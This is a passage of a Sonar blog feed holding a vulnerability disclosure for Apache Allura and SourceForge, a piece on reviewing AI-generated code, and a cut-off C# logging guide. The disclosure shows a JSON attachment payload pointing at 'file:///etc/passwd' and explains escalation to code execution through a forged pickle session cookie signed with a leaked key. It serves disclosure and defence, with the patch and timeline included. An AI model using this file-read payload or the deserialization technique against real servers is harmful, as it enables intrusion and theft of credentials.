            return six.moves.urllib.request.urlopen(url, timeout=timeout)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since the &lt;code&gt;urllib.request.urlopen&lt;/code&gt; function also supports the &lt;code&gt;file://&lt;/code&gt; scheme, this is not only a Server-Side Request Forgery (SSRF) vulnerability, but also an arbitrary file read vulnerability. This vulnerability type is covered by &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S5144/python&quot;&gt;Sonar’s rule S5144.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can exploit the discussion import feature to read arbitrary files from the server by crafting a JSON file with an attachment and setting the &lt;code&gt;url&lt;/code&gt; attribute to a local file:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;      ...
          &quot;attachments&quot;: [
            {
              &quot;url&quot;: &quot;file:///etc/passwd&quot;,
      ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;/etc/passwd&lt;/code&gt; file will be read from the local file system and attached to the imported post:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f9e1c121-8210-4400-9f98-c260e4438743/allura-post-02.png&quot; /&gt;&lt;h3&gt;Remote Code Execution via Signed Serialized Session&lt;/h3&gt;&lt;p&gt;The arbitrary file read vulnerability can be used by attackers to read Allura’s configuration file. This file contains the session validation key (&lt;code&gt;session.validate_key&lt;/code&gt;):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;session.validate_key = 714bfe3612c42390726f&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sessions are handled via the &lt;code&gt;beaker.middleware.SessionMiddleware&lt;/code&gt; library:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;from beaker.middleware import SessionMiddleware
# [ ... ]
def _make_core_app(root, global_conf: dict, **app_conf):
    # [ ... ]
    app = SessionMiddleware(app, config, data_serializer=BeakerPickleSerializerWithLatin1())&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The provided &lt;code&gt;data_serializer&lt;/code&gt; (&lt;code&gt;BeakerPickleSerlizerWithLatin1&lt;/code&gt;) uses &lt;code&gt;pickle&lt;/code&gt; to deserialize session data provided in the session cookie:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class BeakerPickleSerializerWithLatin1(PickleSerializer):
    def loads(self, data_string):
        # [ ... ]
        return pickle.loads(data_string, ...)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Unserializing attacker-controlled data using Python’s &lt;code&gt;pickle&lt;/code&gt; module allows attackers to execute arbitrary code. This danger arises due to &lt;code&gt;pickle&lt;/code&gt;’s ability to serialize and deserialize complex Python objects (see &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S5135/python&quot;&gt;Sonar’s rule S5135&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With access to the session validation key, an attacker can easily craft a malicious, serialized session. When this session cookie is sent to the server, the signature validation check is passed and the attacker-controlled session data will be deserialized. This gives an attacker the ability to execute arbitrary commands.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;In an immediate response to our report, SourceForge completely disabled the discussion import feature. Furthermore, the usage of the feature was reviewed going back for many many years without noticing any attempted exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability itself was fixed with &lt;a href=&quot;https://allura.apache.org/posts/2023-allura-1.16.0.html&quot;&gt;Apache Allura 1.16.0&lt;/a&gt;. One of the &lt;a href=&quot;https://github.com/apache/allura/commit/a484f5056e02b452eb09255b6d887cfc9715f2fb&quot;&gt;applied changes&lt;/a&gt; is a validation that the provided &lt;code&gt;url&lt;/code&gt; starts with &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt;and a check to determine if the referenced host resolves to a private IP address:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-def urlopen(url, retries=3, codes=(408, 500, 502, 503, 504), timeout=None):
+def urlopen(url: str | urllib.request.Request, retries=3, codes=(408, 500, 502,
503, 504), timeout=None):
     # [ ...]
+    if isinstance(url, urllib.request.Request):
+        url_str =  url.full_url
+    else:
+        url_str = url
+    if not url_str.startswith((&apos;http://&apos;, &apos;https://&apos;)):
+        raise ValueError(f&apos;URL must be http(s), got {url_str}&apos;)
+    if not asbool(tg.config.get(&apos;urlopen_allow_internal_hostnames&apos;, &apos;false&apos;)):
+        # will raise error if hostname resolves to private address space:
+        validators.URLIsPrivate().to_python(url_str, None)
     attempts = 0
     while True:
         try:&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Furthermore, the existing Pickle session has meanwhile been &lt;a href=&quot;https://github.com/apache/allura/commit/9be8b315669dff59979fbd258037c8aaadaf6d26&quot;&gt;replaced with JSON Web Tokens (JWT)&lt;/a&gt;. JWTs are a safer alternative as they cannot be used to serialize arbitrary Python objects. This way, a file read vulnerability does not immediately result in remote code execution via unsafe deserialization.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-27&lt;/td&gt;&lt;td&gt;We report the issue to SourceForge and the Allura maintainers.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-10-27&lt;/td&gt;&lt;td&gt;SourceForge and the Allura maintainers acknowledge our report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-01&lt;/td&gt;&lt;td&gt;The Allura maintainers share a patch with us.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-02&lt;/td&gt;&lt;td&gt;We acknowledge the provided patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-11-06&lt;/td&gt;&lt;td&gt;The Allura maintainers release patched version 1.16.0.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we described a critical arbitrary file read vulnerability in Apache Allura affecting the popular software platform SourceForge. Exploitation of this vulnerability could have led to the complete compromise of SourceForge and the poisoning of deployed files, potentially affecting nearly 20 million users worldwide.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is not particularly surprising that the component affected by the vulnerability is an import feature. Import features are often prone to security vulnerabilities because imported data is not always validated to the same extent as data entered directly. Additionally, import features may enable modification of data that is otherwise restricted from being changed. That’s why we at Sonar prioritize &lt;a href=&quot;https://www.sonarsource.com/&quot;&gt;Clean Code&lt;/a&gt;. This methodology ensures thorough validation on all code paths, leading to the development of resilient and secure applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank SourceForge and the Apache Allura maintainers for promptly reacting to our report and providing a patch.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Excessive Expansion: Uncovering Critical Security Vulnerabilities in Jenkins&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/teamcity-vulnerability/&quot;&gt;Source Code at Risk: Critical Code Vulnerability in CI/CD Platform TeamCity&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;Securing Developer Tools: A New Supply Chain Attack on PHP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[AI-Generated Code Demands ‘Trust, But Verify’ Approach to Software Development]]></title><description><![CDATA[Pairing the "trust, but verify" approach with the power of Sonar’s Clean Code solutions enables organizations to be confident that their AI-generated code is high-quality, maintainable, reliable, and secure. 
]]></description><link>https://www.sonarsource.com/blog/ai-generated-code-demands-trust-but-verify-approach-to-software-development</link><guid isPermaLink="false">e7bced0f-19e3-521d-8594-6c68ea12b3dd</guid><dc:creator><![CDATA[Tariq Shaukat]]></dc:creator><pubDate>Thu, 11 Apr 2024 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI is pervading every aspect of business today. In fact, IBM &lt;a href=&quot;https://www.prnewswire.com/news-releases/data-suggests-growth-in-enterprise-adoption-of-ai-is-due-to-widespread-deployment-by-early-adopters-but-barriers-keep-40-in-the-exploration-and-experimentation-phases-302030592.html&quot;&gt;reports&lt;/a&gt; nearly half of enterprise-scale companies have actively deployed AI in their business. Many applications used in today’s business environments are already leveraging AI behind the scenes, meaning it&amp;#x27;s highly likely many end users are reaping the benefits of AI without even knowing it. The majority of leaders are still trying to navigate how to get started with AI in a way that is safe for their organization. Where there’s promise, there’s also skepticism – plus a healthy dose of concern – regarding the introduction of new risks from AI. It’s critical, though, that fear and skepticism don’t stop forward momentum. Instead, leaders must focus on putting the right parameters in place to avoid the risk of falling behind.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It&amp;#x27;s exciting to imagine – and impossible to predict – what AI will be capable of in 5 to 10 years, or even just a year from now. No matter what unfolds, however, it’s guaranteed that we’ll make mistakes as we learn to implement and work alongside AI technologies. To minimize disruption and risk, while maximizing productivity and innovation, it’s imperative that companies approach their AI adoption open-mindedly and with an eye toward quality control.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Taking a “trust but verify” approach, where you employ the AI and verify its output with human review, is a way we advocate for taking advantage of the technology without taking on excessive risk. Pairing the approach with the power of Sonar’s Clean Code solutions SonarQube, SonarCloud, and SonarLint, organizations can be confident that their AI-generated code is high-quality, maintainable, reliable, and secure. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Strengthen Productivity with AI &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Companies that invest in AI tools are actively investing in the growth, productivity, and general satisfaction of their employees. I think it is true in any walk of life — like it or not, mundane tasks that are necessary, but in themselves add little value, consume a lot of precious time. If AI does nothing else, it will remove the burden of these mundane, repetitive tasks. This frees up time to collaborate, to be creative, and to think outside the box. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, it’s inevitable that the nature of work will change. People will increasingly become quality control, editors, and creatives. For example, in software development, AI (with the right prompts) will increasingly write the main elements of code. As of June 2023, &lt;a href=&quot;https://github.blog/2023-06-27-the-economic-impact-of-the-ai-powered-developer-lifecycle-and-lessons-from-github-copilot/&quot;&gt;GitHub found&lt;/a&gt; that its AI coding tool Copilot had already generated over three billion accepted lines of code. The human role in software development will have to ensure that the code has no security issues, is reliable, is maintainable, and doesn’t contain problematic hallucinations or anything else of the sort. Increasingly, we’ll see priorities like sustainability and Clean Code become focus areas. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AI offers a solution to free up time so the focus can instead be paid to the architecture, the customer experience, and ‘the new, hard, innovative problem’ that nobody previously had time to solve. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Understand and Brace for AI-induced Risks &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;There are also risks that AI creates a gap between individuals who leverage this technology to be more productive and individuals who only use it because it is part of the landscape. I can see a path where it fractures teams into two. If a team has a split between how the technology is being used and, therefore, a difference in what is produced, there will be quite a lot of misalignment. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The risks extend beyond individuals to teams and organizations at large as well. In the world of software development, companies today are already using AI to write code. But here’s the catch: businesses are innovating and competing in their markets on a foundation of software, which already tends to be riddled with bad code that causes tech debt to mount. Bad code is a trillion-dollar problem, and AI has the potential to greatly exacerbate the issue by increasing the velocity of software development without regard for quality.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Developers Must Prioritize Quality&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;It can’t be overstated that companies need to approach the adoption of AI coding assistants and tools with an eye toward quality control when it comes to building software. Just like human output, AI produces code that has security, reliability, and maintainability issues. In fact, a recent study from &lt;a href=&quot;https://arxiv.org/pdf/2401.15963.pdf&quot;&gt;Microsoft Research&lt;/a&gt; analyzed how 22 coding assistants performed beyond functional correctness. It found that &amp;quot;they generally falter when tested on our benchmark, hinting at fundamental blindspots in their training setups.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One fact will remain true for the foreseeable future: all code – human or AI-generated – must be properly analyzed and tested before it’s put into production. Developers should turn to AI for volume and automation of mundane, banal tasks, but must have the right checks in place to ensure their code remains a foundational business asset. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;AI coding tools are expected to free up &lt;a href=&quot;https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/unleashing-developer-productivity-with-generative-ai&quot;&gt;20-30% of developers’ time&lt;/a&gt;, allowing them to offload some work and focus on more interesting and challenging projects. With &lt;a href=&quot;https://www.usehaystack.io/blog/83-of-developers-suffer-from-burnout-haystack-analytics-study-finds&quot;&gt;83% of developers&lt;/a&gt; experiencing burnout due to an increased workload, this tech can offer much-needed relief, improve productivity, and raise job satisfaction. It can also help technology and business leaders with the struggle of striking a balance between speed and quality. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Establishing Safeguards to Harness AI for Good &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Whether organizations know it or not, their people are using AI, so it’s best to understand where and how it is being used. Companies must think through their investments as well as what governance they need to put in place. While federal regulators and consortiums — like &lt;a href=&quot;https://www.commerce.gov/news/press-releases/2024/02/biden-harris-administration-announces-first-ever-consortium-dedicated&quot;&gt;AISIC&lt;/a&gt; — are strategizing on how to deploy safe and trustworthy AI, organizations should put in place easily adaptable and modifiable governance as things continue to rapidly change.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here are a few things to keep in mind: First, trusted frameworks are a great place to start and map to, such as NIST’s Secure Software Development Framework. Organizations should also outline a list of approved AI tools, deciding particularly whether or not the use of AI code generators is allowed as the majority of software developers are already using them. It should be stipulated, as well, what reviews should look like for different AI use cases, to ensure anything being released or put into production is correct and responsible. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is something that GitHub even calls out themselves in their &lt;a href=&quot;https://docs.github.com/en/copilot/overview-of-github-copilot/about-github-copilot-individual#using-github-copilot&quot;&gt;Copilot documentation&lt;/a&gt;, stating “You are responsible for ensuring the security and quality of your code. We recommend you take the same precautions when using code generated by GitHub Copilot that you would when using any code you didn&amp;#x27;t write yourself. These precautions include rigorous testing, IP scanning, and tracking for security vulnerabilities.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The use of AI also needs to be thought about from a holistic view; it is a mistake to think about segregating AI to a specific department. CTOs and CISOs should not be the only people weighing in. It’s critical to establish clear principles to set the tone from the top. Rather than overreact or act impulsively, the assurance of having the right guardrails in place can be a guiding light. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Be Confident in Your Code – AI or Human Generated – With Sonar&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The popular tech mindset of “go fast and break things” simply doesn’t work when you consider the cost of fixing any output generated by AI. However, you can’t slow down the pace of innovation either, and AI can help businesses gain a competitive advantage. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As such, organizations must remain proactive in their evaluation of holistic risk, how AI can augment efficiency and effectiveness, and proper governance policies. They also must invest in the right tools to support their development teams with taking advantage of genAI in a way that doesn’t increase risk and technical debt. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With Sonar’s powerful code analysis tools — &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; — developers can easily integrate with popular coding environments and CI/CD pipelines for in-depth insight into the quality, maintainability, reliability, and security of their code no matter if human or AI-generated. Having this visibility into code, organizations can feel confident that their code is clean.    &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Taking a “trust but verify” approach is important across the spectrum of AI use. In code, or even in marketing, teams need to ensure they aren’t blindly accepting what is generated by AI. Everything needs to be considered in the corporate and societal context, and that shouldn’t get forgotten in the hype of AI technology.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[C# Logging]]></title><description><![CDATA[Are you writing logging code in your app? Logging correctly can be tricky.  It is an important part of tracking the progress of your app while running and determining the origin of problems when they arise. In this blog post Denis Troller walks you through common pitfalls and logging best practices when coding in C# with .NET.]]></description><link>https://www.sonarsource.com/blog/csharp-logging</link><guid isPermaLink="false">1b9c66c1-120c-563f-b21d-48d19f9ef19a</guid><dc:creator><![CDATA[Denis Troller]]></dc:creator><pubDate>Wed, 10 Apr 2024 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Today, we focus on a crucial yet often overlooked aspect of application development: logging. Specifically, we&amp;#x27;re going to explore logging in the .NET framework. Whether you&amp;#x27;re a seasoned C# developer or just starting your journey with .NET, this guide will showcase the types of errors that can creep up and harm the quality of your logs. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Logging is an essential part of any application. It&amp;#x27;s like an airplane&amp;#x27;s black box. When something goes wrong, the logs are often the first place developers look to understand what happened. Despite its importance, logging is frequently treated as an afterthought, implemented without proper planning or understanding. It is deeply frustrating to investigate a problem in your app only to discover that the logs do not give you the necessary information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, we help you find any issue in your code that could impair it and we help ensure you keep it clean. Ultimately, issues in your code impact the quality of the software you deliver, which you and your customers rely on daily. With our new rules targeting logging code in .NET, we guide you through correcting the problems we find and teach you how to avoid them in the future.&lt;/p&gt;&lt;h2&gt;Why Sonar provides C# logging rules&lt;/h2&gt;&lt;p&gt;The advent of &lt;a href=&quot;https://newrelic.com/blog/how-to-relic/structured-logging&quot;&gt;structured logging&lt;/a&gt;, with fantastic .NET libraries such as &lt;a href=&quot;https://serilog.net/&quot;&gt;Serilog&lt;/a&gt;, &lt;a href=&quot;https://nlog-project.org/&quot;&gt;NLog&lt;/a&gt;, or &lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/core/extensions/logging?tabs=command-line&quot;&gt;Microsoft’s default logging library&lt;/a&gt;, made it possible to deal with vast amounts of logs optimally. If you are developing Cloud Native apps, the &lt;a href=&quot;https://opentelemetry.io/&quot;&gt;OpenTelemetry standard&lt;/a&gt; builds on your excellent logging foundation to provide full observability into your app, should you require it. All these great logging tools depend on your ability to avoid making mistakes when logging the required information.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Have you ever looked at logs, trying to understand the pathway to a specific bug in production, and found that the log message is wrong? Have you spent precious time implementing structured logging, ingesting your logs in a centralized system, only to find out the hard way that you did not log the details you needed? Suppose your system generates millions of logs daily, and your structured logging is not optimal. In that case, you could also be making your life much more difficult by hindering the search capabilities of your logging backend. Then, there is also that small mistake in your logging code. It lurked for months in the code and ultimately cost you weeks to diagnose another problem for a lack of good logs. It even required shipping a new version just so you could understand the problem, praying the issue would manifest itself again. Wouldn’t it have been more helpful if your build system told you in your pull request comments that you had made a small mistake when you first wrote the code? That’s what Sonar can do for you… avoid all this frustration and lost time.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is very common to make such mistakes because most of the APIs are string-based. Copy-pasting-modifying is also heavily used when adding logging code because writing logging code is highly repetitive. This all leads to small, often overlooked issues that only reveal themselves months, if not years, later. These issues ultimately cost developers time and your company money. They reduce your ability to move quickly and to respond to incidents efficiently. They also reduce the effectiveness of both your infrastructure and your DevOps efforts.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s look at some of the worst offenders among the mistakes you can make and how we find them for you in your code.&lt;/p&gt;&lt;h2&gt;Message syntax and semantics&lt;/h2&gt;&lt;p&gt;When logging in C#, ensuring that the code you write delivers what you expect is essential. This means making sure that the message is correct and contains the right information in the right location. Since the APIs rely on string and untyped arguments, it is surprisingly easy to make mistakes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s see what these errors look like.&lt;/p&gt;&lt;h3&gt;Incorrect message syntax&lt;/h3&gt;&lt;p&gt;Structured logging in .NET requires using a specific syntax. For example, let’s take the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {User}. Invalid credentials&quot;, user);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is standard logging code for any application. The following mistake of omitting the closing curly bracket around the User property can easily persist undetected until it is too late:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {User. Invalid credentials&quot;, user);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By omitting the closing curly bracket, the log output (plain text or structured JSON) will not contain the expected information. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another common mistake of the above logging code is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {User-Name}&quot;, user);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this case, the name of the placeholder is the culprit. Structured logging works by creating a property for each placeholder. The name of that property must abide by the standard syntax for identifiers in most languages. It must start with a letter or underscore and contain only letters, numbers, or underscores. The dash in the property name is incorrect, and since using dashes in names like filenames is common, it is a typical mistake developers make when writing code for logging. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here, a typo is made, and a letter is used instead of a number for the alignment:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogDebug(&quot;Retry attempt {Cnt,r}&quot;, cnt);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sonar also detects missing format specifiers:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogDebug(&quot;Retry attempt {Cnt:}&quot;, cnt);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6674/&quot;&gt;S6674&lt;/a&gt; covers detecting all these problems.&lt;/p&gt;&lt;h3&gt;Duplication of placeholders&lt;/h3&gt;&lt;p&gt;In a logging message, all placeholders must be unique. Repeating the same name is a common mistake shown here in this code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogDebug(&quot;User {Id} purchased order {Id}&quot;, user.Id, order.Id);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, this ties back to the goal of structured logging, where the placeholder generates a specific property. If you use it multiple times, the results can vary depending on your logging framework. Some will only use the last value provided. Others will generate unique names behind the scenes. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6677/&quot;&gt;S6677&lt;/a&gt; detects this issue and warns you about it.&lt;/p&gt;&lt;h3&gt;Incorrect order of placeholders&lt;/h3&gt;&lt;p&gt;An annoying and common mistake is when the placeholders’ order does not match the argument order. This can easily happen when reworking your code. It is hard to detect when cursorily reading the code and can lead to more difficulties in diagnosing an issue in production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s look at an example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;File {FileName} not found in folder {Path}&quot;, file.DirectoryName, file.Name, second);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you look closely, you will see that the intent is the opposite of what the code does because the arguments are in the wrong order. The outcome will be that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The message will be wrong.&lt;/li&gt;&lt;li&gt;The fields generated by structured logging will also be wrong, ruining log querying capabilities.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6673/&quot;&gt;S6673&lt;/a&gt; detects these types of errors. We discover the intent and match words in the placeholder’s name with words in the argument’s expression by building a list of words from camelcase, underscores, and dot characters and matching them.&lt;/p&gt;&lt;h3&gt;Manually crafted messages&lt;/h3&gt;&lt;p&gt;Before the advent of structured logging, crafting a logging message using string concatenation was normal. Creating logging messages became even easier with string interpolation in C#. For example, the following code is valid and will work:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {user}”);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, ILogger and all the logging backends use structured logging, allowing you to capture not only the message but also individual arguments in named fields, making the log much easier to query. It is much better to write the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogError(&quot;Login failed for {UserName}”, user);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is even more critical when emitting your logs through a standard like OpenTelemetry, where the back end should provide efficient storage and indexing of the fields. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-2629/&quot;&gt;S2629&lt;/a&gt; detects this outdated pattern and shows you how to utilize your logging library fully.&lt;/p&gt;&lt;h3&gt;Using the wrong overload&lt;/h3&gt;&lt;p&gt;Most logging frameworks, including those used for logging in C#, have specific overloads that allow passing in a log level, an event ID, or an exception. If you call a method passing an overload value as a placeholder argument, you probably do not do what you intended.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, if you write this code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogDebug(&quot;An exception occurred {Exception} with {EventId}.&quot;, ex, eventId); &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should have written:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;logger.LogDebug(eventId, ex, &quot;An exception occurred.&quot;);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using the proper overloads should lead to much better outcomes when analyzing logs. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6668/&quot;&gt;S6668&lt;/a&gt; detects such errors.&lt;/p&gt;&lt;h3&gt;Wrong logger category&lt;/h3&gt;&lt;p&gt;ILogger comes with a generic flavor, indicating the type this logger is for. The log output will indicate which class generated a particular log entry by emitting the name of the type you passed in. This is extremely useful, but you can easily make a mistake when setting this up.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Look at this example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class EmailSender {
        public EmailSender(ILogger&lt;NotificationSender&gt; logger){
    		_logger = logger;
        }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we mistakenly specified the logger category as NotificationSender when the intent was to use &lt;code&gt;EmailSender&lt;/code&gt;. This error probably came from copy-pasting the logger dependency from another class. You will not be able to pull the right messages by querying your logs for EmailSender. You will also not be able to adjust the logging level for EmailSender. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/tag/logging/RSPEC-6672/&quot;&gt;S6672&lt;/a&gt; protects you from making this mistake.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A different take on this problem is the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class EmailSender 
{
    private readonly ILogger logger;
    public EnclosingType(ILoggerFactory loggerFactory)
    {
        logger = loggerFactory.CreateLogger&lt;NotificationSender&gt;();   // Noncompliant
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The result is the same as the previous rule, with a loss of both querying capabilities and configurability. Rule &lt;a href=&quot;https://rules.sonarsource.com/csharp/RSPEC-3416/&quot;&gt;S3416&lt;/a&gt; protects you from this mistake.&lt;/p&gt;&lt;h3&gt;Unlogged exception&lt;/h3&gt;&lt;p&gt;When handling an exception, if you are emitting a log, it should contain the exception. In production, having the exception details with its message and, most importantly, its stack trace and potential inner exceptions are indispensable. Sooner or later, you will regret not including the full details of the exception. Because this is an exception handler, the frequency of logging the full exception should be low. Otherwise, it would not be an exception. In other words, the performance cost of logging a full exception should not be a concern.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Instead of writing:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; try
    {
        DoSave();
        return true;
    }
    catch(IOException)
    {
        logger.LogError(&quot;Saving failed.&quot;);
        return false;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You should write:&lt;/p&gt;&lt;pre&gt;&lt;code&gt; try
    {
        DoSave();
        return true;
    }
    catch(IOException)
    {
        logger.LogError(exception, &quot;Saving failed.&quot;);
        return false;
